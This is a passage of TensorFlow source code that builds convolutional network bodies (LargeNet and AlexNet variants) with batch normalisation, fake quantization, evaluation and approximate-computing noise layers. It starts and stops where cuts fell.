bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) layers.append(net) return net.output, layers def LargeNetBody_Quant(network, images, preWeights, preBias): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3b', dtype=tf.float32) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=512, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ fakeQuant=True, name='FC1', dtype=tf.float32) layers.append(net) return net, layers def LargeNetBody_Eval(network, images, preWeights, preBias, preMin, preMax): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output # output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1a', dtype=tf.float32) net.setMinMax(preMin['Conv1a'], preMax['Conv1a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1b', dtype=tf.float32) net.setMinMax(preMin['Conv1b'], preMax['Conv1b']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2a', dtype=tf.float32) net.setMinMax(preMin['Conv2a'], preMax['Conv2a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2b', dtype=tf.float32) net.setMinMax(preMin['Conv2b'], preMax['Conv2b']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3a', dtype=tf.float32) net.setMinMax(preMin['Conv3a'], preMax['Conv3a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3b', dtype=tf.float32) net.setMinMax(preMin['Conv3b'], preMax['Conv3b']) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=512, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) net.setMinMax(preMin['FC1'], preMax['FC1']) layers.append(net) return net, layers def AlexNetBody(network, images): layers = [] standardized = tf.identity(images / 255.0, name='images_standardized') net = Layer.Conv2D(standardized, convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4b', dtype=tf.float32) layers.append(net) flattened = tf.reshape(net.output, [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=4096, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) layers.append(net) net = Layer.FullyConnected(net.output, outputSize=4096, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ #bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC2', dtype=tf.float32) layers.append(net) return net.output, layers def AlexNetBNBody(network, images): layers = [] standardized = tf.identity(images / 255.0, name='images_standardized') net = Layer.Conv2D(standardized, convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv1b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4b', dtype=tf.float32) layers.append(net) flattened = tf.reshape(net.output, [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=4096, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) layers.append(net) net = Layer.FullyConnected(net.output, outputSize=4096, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ bias=True, biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC2', dtype=tf.float32) layers.append(net) return net.output, layers def AlexNetBody_Quant(network, images, preWeights, preBias): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * tf.random_uniform(minval=0.0, maxval=1.0, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv4a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv4b', dtype=tf.float32) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=4096, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ fakeQuant=True, name='FC1', dtype=tf.float32) layers.append(net) net = Layer.FullyConnected(_outWrapper(net), outputSize=4096, weightInit=Layer.ConstInit(preWeights['FC2']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC2']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ fakeQuant=True, name='FC2', dtype=tf.float32) layers.append(net) return net, layers def AlexNetBody_Approx(network, images, preWeights, preBias): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= PORTION * (output - tf.reduce_min(output)) * tf.random_uniform(minval=FROM, maxval=TO, shape=output.shape) output += PORTION * tf.abs(output) * tf.random_uniform(minval=FROM, maxval=TO, shape=output.shape) return output layers = [] standardized = tf.identity(images * (1 / 255.0), name='images_standardized') net = Layer.Conv2D(standardized, convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv1b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv1b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv1b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv2b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv3b', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv4a', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ fakeQuant=True, name='Conv4b', dtype=tf.float32) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=4096, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ fakeQuant=True, name='FC1', dtype=tf.float32) layers.append(net) net = Layer.FullyConnected(_outWrapper(net), outputSize=4096, weightInit=Layer.ConstInit(preWeights['FC2']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC2']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ fakeQuant=True, name='FC2', dtype=tf.float32) layers.append(net) return net, layers def AlexNetBody_Eval(network, images, preWeights, preBias, preMin, preMax): def _outWrapper(net): # Simulate quantization a = net._outMin b = net._outMax s = (b - a) / 255.0 output = net.output # output = fake_quant_with_min_max_vars(net.output, a, b, num_bits=FAKEBITS, narrow_range=False) # Simulate value degrade in approximate computing # output -= 0.2 * (output - tf.reduce_min(output)) * 